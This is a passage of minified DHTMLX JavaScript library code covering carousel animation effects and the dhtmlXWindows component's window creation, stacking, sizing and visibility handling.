g=0;g<c.parentNode.childNodes.length;g++){if(c.parentNode.childNodes[g]==c){h=g-a.conf.selected}}}}}}if(h!=null){a._animateStart(h)}c=null};if(typeof(window.addEventListener)==\"function\"){this.controls.addEventListener(\"click\",this._doOnControlClick,false);if(window.dhx4.dnd.evs.start!=null){this.controls.addEventListener(window.dhx4.dnd.evs.start,this._doOnControlClick,false)}}else{this.controls.attachEvent(\"onclick\",this._doOnControlClick);if(window.dhx4.isIE6||window.dhx4.isIE7||window.dhx4.isIE8){this.controls.onselectstart=function(c){c=c||event;if(c.preventDefault){c.preventDefault()}c.returnValue=false;return false}}}this.showControls=function(){this.controls.style.display=\"\";this.setSizes()};this.hideControls=function(){this.controls.style.display=\"none\";this.setSizes()};this._checkControls=function(){this.controls.childNodes[1].className=\"dhx_carousel_btn dhx_carousel_btn_prev\"+(this.conf.selected<=0?\"_dis\":\"\");this.controls.childNodes[2].className=\"dhx_carousel_btn dhx_carousel_btn_next\"+(this.conf.selected>=this.conf.items_count-1||this.conf.items_count==0?\"_dis\":\"\")};this._adjustControls=function(){this.controls.firstChild.style.left=Math.round(this.cont.offsetWidth/2-this.controls.firstChild.offsetWidth/2)+\"px\"};this._addBar=function(){var c=document.createElement(\"DIV\");c.className=\"dhx_carousel_onebar\";c.innerHTML=\"<div class='dhx_carousel_barcore'>&nbsp;</div>\";this.controls.firstChild.appendChild(c);c=null;this._adjustControls()};this._removeBar=function(e){var c=this.controls.firstChild.lastChild;if(c!=null){c.parentNode.removeChild(c);c=null;if(e!==false){this._adjustControls()}}};this._setBarIndex=function(c){for(var e=0;e<this.controls.firstChild.childNodes.length;e++){this.controls.firstChild.childNodes[e].className=\"dhx_carousel_onebar\"+(e==c?\" dhx_carousel_baractv\":\"\")}};this._unloadControls=function(){if(typeof(window.addEventListener)==\"function\"){this.controls.removeEventListener(\"click\",this._doOnControlClick,false);if(window.dhx4.dnd.evs.start!=null){this.controls.removeEventListener(window.dhx4.dnd.evs.start,this._doOnControlClick,false)}}else{this.controls.detachEvent(\"onclick\",this._doOnControlClick);if(window.dhx4.isIE6||window.dhx4.isIE7||window.dhx4.isIE8){this.controls.onselectstart=null}}while(this.controls.firstChild.childNodes.length>0){this._removeBar(false)}this.cont.removeChild(this.controls);this.controls=null;a=null};if(this.conf.buttons!=true){this.hideControls()}this._checkControls()};window.dhtmlXCarouselCell=function(e,c){dhtmlXCellObject.apply(this,[e,\"_carousel\"]);var a=this;this.carousel=c;this.conf.skin=this.carousel.conf.skin;this.attachEvent(\"_onCellUnload\",function(){this.carousel=null;a=null});this.attachEvent(\"_onContentLoaded\",function(){this.carousel._callMainEvent(\"onContentLoaded\",[this._idd])});this._showCover=function(){if(this.conf.cover==true){return}this._showCellCover();var g=this.cell.childNodes[this.conf.idx.cover];g.onclick=function(){a.carousel._callMainEvent(\"_cellCoverClick\",[a._idd])};g=null};this._hideCover=function(){if(this.conf.cover!=true){return}this.cell.childNodes[this.conf.idx.cover].onclick=null;this._hideCellCover()};return this};dhtmlXCarouselCell.prototype=new dhtmlXCellObject();dhtmlXCarouselCell.prototype.getId=function(){return this._idd};dhtmlXCarouselCell.prototype.getIndex=function(){return this.carousel.cdata[this._idd].index};dhtmlXCarouselCell.prototype.setActive=function(){var a=this.getIndex()-this.carousel.conf.selected;if(a!=0){this.carousel._animateStart(a)}};dhtmlXCarouselCell.prototype.remove=function(){this.carousel._removeCell(this._idd)};dhtmlXCellObject.prototype.attachCarousel=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"carousel\"]);var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";c.style.overflow=\"hidden\";this._attachObject(c);if(typeof(window.dhtmlXSideBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXSideBarCell)){if(this.conf.skin==\"dhx_terrace\"){c._ofs={t:-1,r:-1,b:-1,l:-1}}}if(typeof(a)==\"undefined\"||a==null){a={}}if(typeof(a.skin)==\"undefined\"){a.skin=this.conf.skin}a.parent=c;this.dataType=\"carousel\";this.dataObj=new dhtmlXCarousel(a);a.parent=null;c=a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj};dhtmlXCarousel.prototype.ef.slide=true;dhtmlXCarousel.prototype.ef.slide_conf={anim_step:25,anim_timeout:10,anim_slide:\"left 0.3s\"};dhtmlXCarousel.prototype.ef.slide_f={prepare:\"_slide_prepare\",start:\"_slide_start\",end:\"_slide_end\",update_selected:\"_slide_update_selected\",detect_x:\"_slide_detect_x\",detect_aw:\"_slide_detect_area_width\",cell_added:\"_slide_cell_added\"};dhtmlXCarousel.prototype._slide_init=function(){return this.ef.slide_conf};dhtmlXCarousel.prototype._slide_f=function(){return this.ef.slide_f};dhtmlXCarousel.prototype._slide_prepare=function(c,a){var g=this.conf.anim_step;var h=this.conf.width+this.conf.ofs_item;if(a==false){g=h+1}this.area._init=parseInt(this.area.style.left);var e=this.ind[this.conf.selected+c];this._slide_update_selected(e);if(this.conf.transProp!==false&&a!=false){if(this.conf.transEvInit!=true){this.area.addEventListener(this.conf.transEv,this._animateTransEnd,false);this.conf.transEvInit=true}this.conf.current_dir=c;this.area.style[this.conf.transProp]=this.conf.anim_slide;this.area.style.left=this.area._init+h*(-c)+\"px\"}else{this._slide_start(g,0,h,c)}};dhtmlXCarousel.prototype._slide_start=function(h,a,l,c){var g=false;a+=h;if(a>=l){a=l;g=true}this.area.style.left=this.area._init+a*(-c)+\"px\";if(g!=true){var e=this;window.setTimeout(function(){e._slide_start(h,a,l,c);e=null},this.conf.anim_timeout)}else{this.cdata[this.ind[this.conf.selected]].cell._showCover();this._animateEnd(c)}};dhtmlXCarousel.prototype._slide_end=function(c,a){if(c.type==this.conf.transEv&&a==this.area){this.area.style[this.conf.transProp]=\"\";if(this.conf.transEvInit==true){this.area.removeEventListener(this.conf.transEv,this._animateTransEnd,false);this.conf.transEvInit=false}this.cdata[this.ind[this.conf.selected]].cell._showCover();this._animateEnd(this.conf.current_dir)}};dhtmlXCarousel.prototype._slide_update_selected=function(a){this.cdata[a].cell._hideCover()};dhtmlXCarousel.prototype._slide_detect_x=function(e){var c=this.cdata[e].index;var a=c*(this.conf.width+this.conf.ofs_item)+this.conf.ofs_item;return a};dhtmlXCarousel.prototype._slide_cell_added=function(a){if(this.conf.selected!=this.cdata[a].index){this.cdata[a].cell._showCover()}if(this.cdata[a].index<=this.conf.selected&&this.conf.items_count>1){this._animateStart(1,false)}};dhtmlXCarousel.prototype._slide_detect_area_width=function(){return this.conf.items_count};dhtmlXCarousel.prototype.ef.flip=true;dhtmlXCarousel.prototype.ef.flip_conf={anim_flip:\"transform 0.3s ease-out\",anim_flip_ang:-87,anim_flip_trstyle:\"transform\"};dhtmlXCarousel.prototype.ef.flip_f={prepare:\"_flip_prepare\",start:\"_flip_start\",end:\"_flip_end\",update_selected:\"_flip_update_selected\",detect_x:\"_flip_detect_x\",detect_aw:\"_flip_detect_area_width\",cell_added:\"_flip_cell_added\"};dhtmlXCarousel.prototype._flip_init=function(){var a=(this.conf.transProp==false?false:this.ef.flip_conf);if(a!==false&&window.dhx4.isKHTML==true&&a.anim_flip.match(\"webkit\")==null){a.anim_flip=a.anim_flip.replace(/transform/,\"-webkit-transform\");a.anim_flip_trstyle=\"webkitTransform\"}return a};dhtmlXCarousel.prototype._flip_f=function(){return this.ef.flip_f};dhtmlXCarousel.prototype._flip_prepare=function(a){this.conf.flip_data={fromIndex:this.conf.selected,toIndex:this.conf.selected+a,mode:0,dir:a};this._flip_start()};dhtmlXCarousel.prototype._flip_start=function(){var a=this.cdata[this.ind[this.conf.flip_data.mode==0?this.conf.flip_data.fromIndex:this.conf.flip_data.toIndex]].cell;if(this.area.className.match(/dhxcarousel_area_flip/)==null){this.area.className+=\" dhxcarousel_area_flip\"}if(a.conf.tr_ev!=true){a.cell.addEventListener(this.conf.transEv,this._animateTransEnd,false);a.conf.tr_ev=true}if(this.conf.flip_data.mode==0){a.cell.style[this.conf.anim_flip_trstyle]=\"rotateY(\"+String(this.conf.flip_data.dir>0?this.conf.anim_flip_ang:-this.conf.anim_flip_ang)+\"deg)\"}else{a.cell.style.visibility=\"visible\";a.cell.style[this.conf.anim_flip_trstyle]=\"rotateY(0deg)\"}a.cell.style[this.conf.transProp]=this.conf.anim_flip;a=null};dhtmlXCarousel.prototype._flip_end=function(n,m){if(n.type==this.conf.transEv){var a=this.cdata[this.ind[this.conf.flip_data.mode==0?this.conf.flip_data.fromIndex:this.conf.flip_data.toIndex]].cell;if(m==a.cell){a.cell.removeEventListener(this.conf.transEv,this._animateTransEnd,false);a.conf.tr_ev=false;if(this.conf.flip_data.mode==0){a.cell.style[this.conf.transProp]=\"\";a.cell.style.visibility=\"hidden\";this.conf.flip_data.mode=1;this._flip_start()}else{var g=this.conf.flip_data.dir;var h=Math.min(this.conf.flip_data.fromIndex,this.conf.flip_data.toIndex)+1;var c=Math.max(this.conf.flip_data.fromIndex,this.conf.flip_data.toIndex)-1;for(var l=h;l<=c;l++){this.cdata[this.ind[l]].cell.cell.style[this.conf.anim_flip_trstyle]=\"rotateY(\"+String(this.conf.anim_flip_ang*g/Math.abs(g))+\"deg)\"}if(this.area.className.match(/dhxcarousel_area_flip/)!=null){this.area.className=String(this.area.className).replace(/\\s{0,}dhxcarousel_area_flip/gi,\"\")}this.conf.flip_data=null;a.cell.style[this.conf.transProp]=\"\";this._animateEnd(g)}}a=null}};dhtmlXCarousel.prototype._flip_update_selected=function(a){};dhtmlXCarousel.prototype._flip_detect_x=function(e){var c=0;var a=c*(this.conf.width+this.conf.ofs_item)+this.conf.ofs_item;return a};dhtmlXCarousel.prototype._flip_cell_added=function(a){if(this.conf.selected!=this.cdata[a].index){this.cdata[a].cell.cell.style[this.conf.anim_flip_trstyle]=\"rotateY(\"+String(this.cdata[a].index<this.conf.selected?this.conf.anim_flip_ang:-this.conf.anim_flip_ang)+\"deg)\";this.cdata[a].cell.cell.style.visibility=\"hidden\"}else{this.cdata[a].cell.cell.style[this.conf.anim_flip_trstyle]=\"rotateY(0deg)\"}};dhtmlXCarousel.prototype._flip_detect_area_width=function(){return 1};dhtmlXCarousel.prototype.ef.cards=true;dhtmlXCarousel.prototype.ef.cards_conf={anim_cards:\"left 0.3s\"};dhtmlXCarousel.prototype.ef.cards_f={prepare:\"_cards_prepare\",start:\"_cards_start\",end:\"_cards_end\",update_selected:\"_cards_update_selected\",detect_x:\"_cards_detect_x\",detect_aw:\"_cards_detect_area_width\",cell_added:\"_cards_cell_added\"};dhtmlXCarousel.prototype._cards_init=function(){return(this.conf.transProp==false?false:this.ef.cards_conf)};dhtmlXCarousel.prototype._cards_f=function(){return this.ef.cards_f};dhtmlXCarousel.prototype._cards_prepare=function(e,c){if(e>0){var g=this.ind[this.conf.selected+e];var a=this.cdata[g].cell;this._cards_update_selected(g);if(a.conf.transEvInit!=true){a.cell.addEventListener(this.conf.transEv,this._animateTransEnd,false);a.conf.transEvInit=true}this.conf.current_id=g;this.conf.current_dir=e;a.cell.style[this.conf.transProp]=this.conf.anim_cards;a.cell.style.left=this._cards_detect_x(g,0)+\"px\";a=null}else{this._cards_adjust_middle(this.conf.selected+e+1,this.conf.selected-1,1);var g=this.ind[this.conf.selected];var a=this.cdata[g].cell;a._hideCover();if(a.conf.transEvInit!=true){a.cell.addEventListener(this.conf.transEv,this._animateTransEnd,false);a.conf.transEvInit=true}this.conf.current_id=g;this.conf.current_dir=e;this.cdata[this.ind[this.conf.selected+e]].cell._hideCover();a.cell.style[this.conf.transProp]=this.conf.anim_cards;a.cell.style.left=this._cards_detect_x(g,1)+\"px\";a=null}};dhtmlXCarousel.prototype._cards_start=function(e,a,g,c){};dhtmlXCarousel.prototype._cards_end=function(g,c){if(g.type==this.conf.transEv&&this.conf.current_id!=null&&c==this.cdata[this.conf.current_id].cell.cell){var a=this.cdata[this.conf.current_id].cell;a.cell.style[this.conf.transProp]=\"\";if(a.conf.transEvInit!=true){a.cell.removeEventListener(this.conf.transEv,this._animateTransEnd,false);a.conf.transEvInit=false}this.conf.current_id=null;if(this.conf.current_dir>0){this._cards_adjust_middle(this.conf.selected+1,this.conf.selected+this.conf.current_dir-1,0)}this.cdata[this.ind[this.conf.selected]].cell._showCover();this._animateEnd(this.conf.current_dir)}};dhtmlXCarousel.prototype._cards_update_selected=function(a){this.cdata[a].cell._hideCover()};dhtmlXCarousel.prototype._cards_adjust_middle=function(e,h,c){for(var g=e;g<=h;g++){var l=this.ind[g];var a=this.cdata[l].cell;a.conf.size.x=this._cards_detect_x(l,c);a.cell.style.left=a.conf.size.x+\"px\";a=null}};dhtmlXCarousel.prototype._cards_detect_x=function(e,c){if(typeof(c)==\"undefined\"||c==null){c=(this.cdata[e].index<=this.conf.selected?0:1)}var a=c*(this.conf.width+this.conf.ofs_left+this.conf.ofs_item)+this.conf.ofs_item;return a};dhtmlXCarousel.prototype._cards_cell_added=function(a){this.cdata[a].cell.conf.size.x=this._cards_detect_x(a);this.cdata[a].cell.cell.style.left=this.cdata[a].cell.conf.size.x+\"px\";if(this.conf.selected!=this.cdata[a].index){this.cdata[a].cell._showCover()}};dhtmlXCarousel.prototype._cards_detect_area_width=function(){return 2};function dhtmlXWindows(n){var l=this;var g={};if(typeof(n)!=\"undefined\"){for(var e in n){g[e]=n[e]}}n=null;this.conf={skin:window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxwins\")||\"dhx_skyblue\",vp_pos_ofs:20,vp_custom:false,vp_of_auto:(g.vp_overflow==\"auto\"),vp_of_id:window.dhx4.newId(),ofs_w:null,ofs_h:null,button_last:null,dblclick_tm:300,dblclick_last:null,dblclick_id:null,dblclick_mode:\"minmax\",dblclick_active:false,dblclick_ev:(navigator.userAgent.indexOf(\"MSIE 6.0\")>=0||navigator.userAgent.indexOf(\"MSIE 7.0\")>=0||navigator.userAgent.indexOf(\"MSIE 8.0\")>=0),fr_cover:(navigator.userAgent.indexOf(\"MSIE 6.0\")>=0)};var c=window.dhx4.transDetect();this.conf.tr={prop:c.transProp,ev:c.transEv,height_open:\"height 0.2s cubic-bezier(0.25,0.1,0.25,1)\",height_close:\"height 0.18s cubic-bezier(0.25,0.1,0.25,1)\",op_open:\"opacity 0.16s ease-in\",op_close:\"opacity 0.2s ease-out\",op_v_open:\"1\",op_v_close:\"0.4\"};if(!g.viewport){this.attachViewportTo(document.body)}else{if(g.viewport.object!=null){this.attachViewportTo(g.viewport.object)}else{if(g.viewport.left!=null&&g.viewport.top!=null&&g.viewport.width!=null&&g.viewport.height!=null){this.setViewport(g.viewport.left,g.viewport.top,g.viewport.width,g.viewport.height,g.viewport.parent)}else{this.attachViewportTo(document.body)}}}this.w={};this.createWindow=function(q,F,D,s,I){var o={};if(arguments.length==1&&typeof(q)==\"object\"){o=q}else{o.id=q;o.left=F;o.top=D;o.width=s;o.height=I;if(typeof(o.id)==\"undefined\"||o.id==null){o.id=window.dhx4.newId()}while(this.w[o.id]!=null){o.id=window.dhx4.newId()}}if(o.left==null){o.left=0}if(o.top==null){o.top=0}o.move=(o.move!=null&&window.dhx4.s2b(o.move)==false?false:(o.deny_move!=null&&window.dhx4.s2b(o.deny_move)==true?false:true));o.park=(o.park!=null&&window.dhx4.s2b(o.park)==false?false:(o.deny_park!=null&&window.dhx4.s2b(o.deny_park)==true?false:true));o.resize=(o.resize!=null&&window.dhx4.s2b(o.resize)==false?false:(o.deny_resize!=null&&window.dhx4.s2b(o.deny_resize)==true?false:true));o.keep_in_viewport=(o.keep_in_viewport!=null&&window.dhx4.s2b(o.keep_in_viewport));o.modal=(o.modal!=null&&window.dhx4.s2b(o.modal));o.center=(o.center!=null&&window.dhx4.s2b(o.center));o.text=(o.text!=null?o.text:(o.caption!=null?o.caption:\"dhtmlxWindow\"));o.header=(!(o.header!=null&&window.dhx4.s2b(o.header)==false));var J=document.createElement(\"DIV\");J.className=\"dhxwin_active\";this.vp.appendChild(J);J._isWindow=true;J._idd=o.id;var w=document.createElement(\"DIV\");w.className=\"dhxwin_hdr\";w.style.zIndex=0;w.innerHTML=\"<div class='dhxwin_icon'></div><div class='dhxwin_text'><div class='dhxwin_text_inside'>\"+o.text+\"</div></div><div class='dhxwin_btns'></div>\";J.appendChild(w);w.onselectstart=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}return false};w.oncontextmenu=function(a){a=a||event;a.cancelBubble=true;return false};w._isWinHdr=true;w.firstChild._isWinIcon=true;var u=document.createElement(\"DIV\");u.className=\"dhxwin_brd\";J.appendChild(u);var C=document.createElement(\"DIV\");C.className=\"dhxwin_fr_cover\";C.innerHTML=\"<iframe class='dhxwin_fr_cover_inner' frameborder='0' border='0'></iframe><div class='dhxwin_fr_cover_inner'></div>\";J.appendChild(C);this.w[o.id]={win:J,hdr:w,brd:u,fr_cover:C,b:{},conf:{z_id:window.dhx4.newId(),actv:false,modal:false,maxed:false,parked:false,sticked:false,visible:true,header:true,text:o.text,keep_in_vp:o.keep_in_viewport,allow_move:o.move,allow_park:o.park,allow_resize:o.resize,max_w:null,max_h:null,min_w:80,min_h:80}};var v={help:{title:\"Help\",visible:false},stick:{title:\"Stick\",visible:false},park:{title:\"Park\",visible:true},minmax:{title:\"Min/Max\",visible:true},close:{title:\"Close\",visible:true}};for(var E in v){var A=new dhtmlXWindowsButton(this,o.id,E,v[E].title,false);if(v[E].visible==false){A.hide()}w.lastChild.appendChild(A.button);this.w[o.id].b[E]=A;A=null}this._winAdjustTitle(o.id);this.w[o.id].win.style.zIndex=window.dhx4.zim.reserve(this.w[o.id].conf.z_id);var H=new dhtmlXWindowsCell(o.id,this);this.w[o.id].win.insertBefore(H.cell,C);this.w[o.id].cell=H;if(typeof(window.addEventListener)==\"function\"){this.w[o.id].win.addEventListener(\"mousedown\",this._winOnMouseDown,false);this.w[o.id].win.addEventListener(\"mouseup\",this._winOnMouseDown,false);if(this.conf.dblclick_ev){this.w[o.id].win.addEventListener(\"dblclick\",this._winOnMouseDown,false)}if(this.conf.dnd_enabled==true&&window.dhx4.dnd.evs.start!=null){this.w[o.id].win.addEventListener(window.dhx4.dnd.evs.start,this._winOnMouseDown,false);if(window.dhx4.dnd.p_en!=true){this.w[o.id].win.addEventListener(window.dhx4.dnd.evs.start,this._winOnMouseDown,false);this.w[o.id].win.addEventListener(window.dhx4.dnd.evs.end,this._winOnMouseDown,false)}}}else{this.w[o.id].win.attachEvent(\"onmousedown\",this._winOnMouseDown);this.w[o.id].win.attachEvent(\"onmouseup\",this._winOnMouseDown);if(this.conf.dblclick_ev){this.w[o.id].win.attachEvent(\"ondblclick\",this._winOnMouseDown)}}this._winInitFRM(o.id);this._winSetPosition(o.id,o.left,o.top);this._winSetSize(o.id,o.width,o.height);this._winMakeActive(o.id);if(o.center==true){this.w[o.id].cell.center()}if(o.modal==true){this.w[o.id].cell.setModal(true)}if(o.header==false){this.w[o.id].cell.hideHeader()}f=J=w=u=C=H=null;return this.w[o.id].cell};this._winOnMouseDown=function(q){q=q||event;var a=q.target||q.srcElement;var o={press_type:q.type};if(q.type==\"MSPointerDown\"||q.type==\"pointerdown\"){l.conf.ev_skip=true}else{if(l.conf.ev_skip==true){l.conf.ev_skip=false;a=null;return}}while(a!=null&&a._isWindow!=true){if(typeof(a.className)!=\"undefined\"&&o.mode==null){if(typeof(a._buttonName)!=\"undefined\"){o.mode=\"button\";o.button_name=a._buttonName}else{if(a._isWinHdr==true){o.mode=\"hdr\"}else{if(a._isWinIcon==true){o.mode=\"icon\"}}}}a=a.parentNode}if(o.mode==null){o.mode=\"win\"}o.id=(a!=null&&a._isWindow==true?a._idd:null);a=null;if(o.id!=null&&l.w[o.id]!=null){l.callEvent(\"_winMouseDown\",[q,o])}};this._winOnParkTrans=function(o){if(o.stopPropagation){o.stopPropagation()}var a=l.w[this._idd];if(o.propertyName==\"opacity\"){l._winCellClearOpacity(this._idd)}if(o.propertyName==\"height\"&&a.conf.tr_mode==\"park\"){if(a.conf.tr_mode==\"park\"){a.win.style[l.conf.tr.prop]=\"\";if(!a.conf.parked){l._winAdjustCell(this._idd);l._callMainEvent(\"onParkDown\",this._idd);if(a.conf.keep_in_vp){l._winAdjustPosition(this._idd,a.conf.x,a.conf.y)}}else{a.hdr.style.zIndex=3;l._callMainEvent(\"onParkUp\",this._idd)}}}a=null};this.unload=function(){this.conf.unloading=true;if(this._dndInitModule){this._dndUnloadModule()}for(var o in this.w){this._winClose(o)}this.w=null;if(this.cm!=null&&typeof(this._unloadContextMenu)==\"function\"){this._unloadContextMenu()}window.dhx4._eventable(this,\"clear\");this.attachViewportTo(null);for(var o in this.conf){this.conf[o]=null;delete this.conf[o]}for(var o in this){this[o]=null}l=o=null};window.dhx4._eventable(this);this.attachEvent(\"_winMouseDown\",this._winMouseDownHandler);if(this._dndInitModule){this._dndInitModule()}if(g.wins!=null){for(var m=0;m<g.wins.length;m++){var h=g.wins[m];this.createWindow(h)}}g=null;return this}dhtmlXWindows.prototype.forEachWindow=function(e){for(var c in this.w){e.apply(window,[this.w[c].cell])}};dhtmlXWindows.prototype.window=function(a){if(this.w[a]!=null){return this.w[a].cell}return null};dhtmlXWindows.prototype.isWindow=function(a){return(this.w[a]!=null)};dhtmlXWindows.prototype.findByText=function(g){var e=[];for(var c in this.w){if((this.w[c].cell.getText()).indexOf(String(g))>=0){e.push(this.w[c])}}return e};dhtmlXWindows.prototype.setSkin=function(e){if(e==this.conf.skin){return}if(this.vp!=null){this.vp.className=String(this.vp.className).replace(\"dhxwins_vp_\"+this.conf.skin,\" dhxwins_vp_\"+e)}for(var c in this.w){this.w[c].cell._resetSizeState();this._winAdjustCell(c);this._winAdjustTitle(c)}this.conf.skin=e};dhtmlXWindows.prototype.getBottommostWindow=function(){return this._getTopBottomWin(false)};dhtmlXWindows.prototype.getTopmostWindow=function(){return this._getTopBottomWin(true)};dhtmlXWindows.prototype._getTopBottomWin=function(h){var g=null;for(var c in this.w){if(this.w[c].conf.visible){var e=false;if(g!=null){e=g.z>this.w[c].win.style.zIndex;if(h){e=!e}}if(g==null||e){g={win:this.w[c].cell,z:this.w[c].win.style.zIndex}}}}return(g?g.win:null)};dhtmlXWindows.prototype._winMakeActive=function(e,h){if(e!=null&&h!==true&&this.w[e].conf.actv==true){return}var u=[];var n={};for(var c=0;c<this._zOrder.length;c++){var m=this._zOrder[c].name;var g=this._zOrder[c].value;var v=[];for(var r in this.w){var s=this.w[r];if(n[r]==null&&s.conf[m]===g&&s.conf.visible==true){if(e!=r){window.dhx4.zim.clear(s.conf.z_id);v.push([r,Number(s.win.style.zIndex)]);n[r]=true}}s=null}v.sort(function(w,q){return(w[1]<q[1]?1:-1)});if(e!=null&&this.w[e].conf[m]===g&&n[e]==null){window.dhx4.zim.clear(this.w[e].conf.z_id);var l=[[e,Number(this.w[e].win.style.zIndex)]];v=l.concat(v);n[e]=true}u=u.concat(v)}for(var c=u.length-1;c>=0;c--){var r=u[c][0];var s=this.w[r];s.win.style.zIndex=window.dhx4.zim.reserve(s.conf.z_id);if(s.conf.modal&&this.mcover!=null){for(var o in this.mcover){this.mcover[o].style.zIndex=s.win.style.zIndex}}this._winAdjustFRMZIndex(r);if(e==null&&c==0){e=r}s.conf.actv=(e==r);s.win.className=(s.conf.actv?\"dhxwin_active\":\"dhxwin_inactive\");s=null}if(e!=null&&this.conf.last_active!=e){this._callMainEvent(\"onFocus\",e)}this.conf.last_active=e};dhtmlXWindows.prototype._zOrder=[{name:\"modal\",value:true},{name:\"sticked\",value:true},{name:\"sticked\",value:false}];dhtmlXWindows.prototype._vpPull={};dhtmlXWindows.prototype._vpOf={};dhtmlXWindows.prototype._vpPullAdd=function(){if(this.vp==null){return}var e=null;for(var c in this._vpPull){if(this._vpPull[c].vp==this.vp){this._vpPull[c].count++;e=c}}if(e==null){this._vpPull[window.dhx4.newId()]={vp:this.vp,count:1}}if(this.vp==document.body&&this.conf.vp_of_auto==true){this._vpOfInit()}this._vpOfUpd()};dhtmlXWindows.prototype._vpPullRemove=function(){if(this.vp==null){return 0}var e=0;for(var c in this._vpPull){if(this._vpPull[c].vp==this.vp){e=--this._vpPull[c].count;if(e==0){this._vpPull[c].vp=null;this._vpPull[c].count=null;delete this._vpPull[c]}}}this._vpOfClear();return e};dhtmlXWindows.prototype._vpOfInit=function(){this._vpOf[this.conf.vp_of_id]=true};dhtmlXWindows.prototype._vpOfClear=function(){this._vpOf[this.conf.vp_of_id]=false;delete this._vpOf[this.conf.vp_of_id];this._vpOfUpd()};dhtmlXWindows.prototype._vpOfUpd=function(){var e=false;for(var c in this._vpOf){e=e||this._vpOf[c]}if(e==true){if(document.body.className.match(/dhxwins_vp_auto/)==null){document.body.className+=\" dhxwins_vp_auto\"}}else{if(document.body.className.match(/dhxwins_vp_auto/)!=null){document.body.className=String().replace(/\\s{0,}dhxwins_vp_auto/gi,\"\")}}};dhtmlXWindows.prototype.attachViewportTo=function(h){var e=this._vpPullRemove();if(this.conf.vp_custom){while(this.vp.childNodes.length>0){this.vp.removeChild(this.vp.lastChild)}this.vp.parentNode.removeChild(this.vp);this.vp=null}else{if(this.vp!=null&&e==0){this.vp.className=String(this.vp.className).replace(new RegExp(\"\\\\s{1,}dhxwins_vp_\"+this.conf.skin),\"\")}}if(h==null){this.vp=null}else{this.vp=(typeof(h)==\"string\"?document.getElementById(h):h);var g=\"dhxwins_vp_\"+this.conf.skin;if(this.vp.className.indexOf(g)<0){this.vp.className+=\" \"+g}h=null;for(var c in this.w){this.vp.appendChild(this.w[c].win)}this.conf.vp_custom=false}if(this.vp==document.body){document.body.style.position=\"static\"}this._vpPullAdd()};dhtmlXWindows.prototype.setViewport=function(c,l,g,a,h){var e=document.createElement(\"DIV\");e.style.position=\"absolute\";e.style.left=c+\"px\";e.style.top=l+\"px\";e.style.width=g+\"px\";e.style.height=a+\"px\";if(typeof(h)==\"undefined\"||h==null){h=document.body}else{if(typeof(h)==\"string\"){h=document.getElementById(h)}}h.appendChild(e);this.attachViewportTo(e);this.conf.vp_custom=true;h=e=null};dhtmlXWindows.prototype._winSetPosition=function(g,a,e){var c=this.w[g];if(c.conf.maxed){c.conf.lastMX+=(a-c.conf.x);c.conf.lastMY+=(e-c.conf.y)}c.conf.x=a;c.conf.y=e;c.win.style.left=c.conf.x+\"px\";c.win.style.top=c.conf.y+\"px\";this._winAdjustFRMPosition(g);c=null};dhtmlXWindows.prototype._winAdjustPosition=function(m,c,l){var e=this.w[m];if(typeof(c)==\"undefined\"){c=e.conf.x}if(typeof(l)==\"undefined\"){l=e.conf.y}var a=(e.conf.keep_in_vp?0:-e.conf.w+this.conf.vp_pos_ofs);var h=(e.conf.keep_in_vp?this.vp.clientWidth-e.conf.w:this.vp.clientWidth-this.conf.vp_pos_ofs);if(c<a){c=a}else{if(c>h){c=h}}var g=(e.conf.keep_in_vp?this.vp.clientHeight-e.conf.h:this.vp.clientHeight-this.conf.vp_pos_ofs);if(l<0){l=0}else{if(l>g){l=g}}if(c!=e.conf.x||l!=e.conf.y){this._winSetPosition(m,c,l)}e=null};dhtmlXWindows.prototype._winSetSize=function(n,l,e,m,c){var g=this.w[n];var a=(l!=null?l:g.conf.w);var h=(e!=null?e:g.conf.h);if(this.conf.ofs_w==null){g.win.style.width=a+\"px\";g.win.style.height=h+\"px\";this.conf.ofs_w=g.win.offsetWidth-a;this.conf.ofs_h=g.win.offsetHeight-h}if(g.conf.min_w!=null&&a<g.conf.min_w){a=g.conf.min_w}if(g.conf.max_w!=null&&a>g.conf.max_w){a=g.conf.max_w}if(!g.conf.parked&&g.conf.min_h!=null&&h<g.conf.min_h){h=g.conf.min_h}if(g.conf.max_h!=null&&h>g.conf.max_h){h=g.conf.max_h}if(g.conf.keep_in_vp){if(a>this.vp.clientWidth){a=this.vp.clientWidth}if(h>this.vp.clientHeight){h=this.vp.clientHeight}}g.win.style.width=a-this.conf.ofs_w+\"px\";g.win.style.height=h-this.conf.ofs_h+\"px\";g.conf.w=a;g.conf.h=h;this._winAdjustFRMSize(n);if(c){this._winAdjustPosition(n,g.conf.x,g.conf.y)}if(!g.conf.parked&&m!=true){this._winAdjustCell(n)}g=null};dhtmlXWindows.prototype._winMinmax=function(h,e){if(typeof(e)!=\"undefined\"&&this.w[h].conf.maxed==e){return}if(this.w[h].conf.allow_resize==false){return}var c=this.w[h];if(c.conf.parked){this._winPark(h,false)}if(c.conf.maxed){this._winSetSize(h,c.conf.lastMW,c.conf.lastMH);this._winAdjustPosition(h,c.conf.lastMX,c.conf.lastMY);c.conf.maxed=false}else{var a=0;var g=0;if(c.conf.max_w!=null){a=c.conf.x+Math.round(c.conf.w-c.conf.max_w)/2}if(c.conf.max_h!=null){g=Math.max(c.conf.y+Math.round(c.conf.h-c.conf.max_h)/2,0)}c.conf.lastMX=c.conf.x;c.conf.lastMY=c.conf.y;c.conf.lastMW=c.conf.w;c.conf.lastMH=c.conf.h;this._winSetSize(h,this.vp.clientWidth,this.vp.clientHeight);this._winAdjustPosition(h,a,g);c.conf.maxed=true}c.b.minmax.setCss(c.conf.maxed?\"minmaxed\":\"minmax\");if(c.conf.maxed){this._callMainEvent(\"onMaximize\",h)}else{this._callMainEvent(\"onMinimize\",h)}c=null};dhtmlXWindows.prototype._winShow=function(c,a){if(this.w[c].conf.visible==true){return}this.w[c].win.style.display=\"\";this.w[c].conf.visible=true;if(a==true||this.conf.last_active==null){this._winMakeActive(c,true)}this._callMainEvent(\"onShow\",c)};dhtmlXWindows.prototype._winHide=function(c,a){if(this.w[c].conf.visible==false){return}this.w[c].win.style.display=\"none\";this.w[c].conf.visible=false;if(this.w[c].conf.actv){this.w[c].conf.actv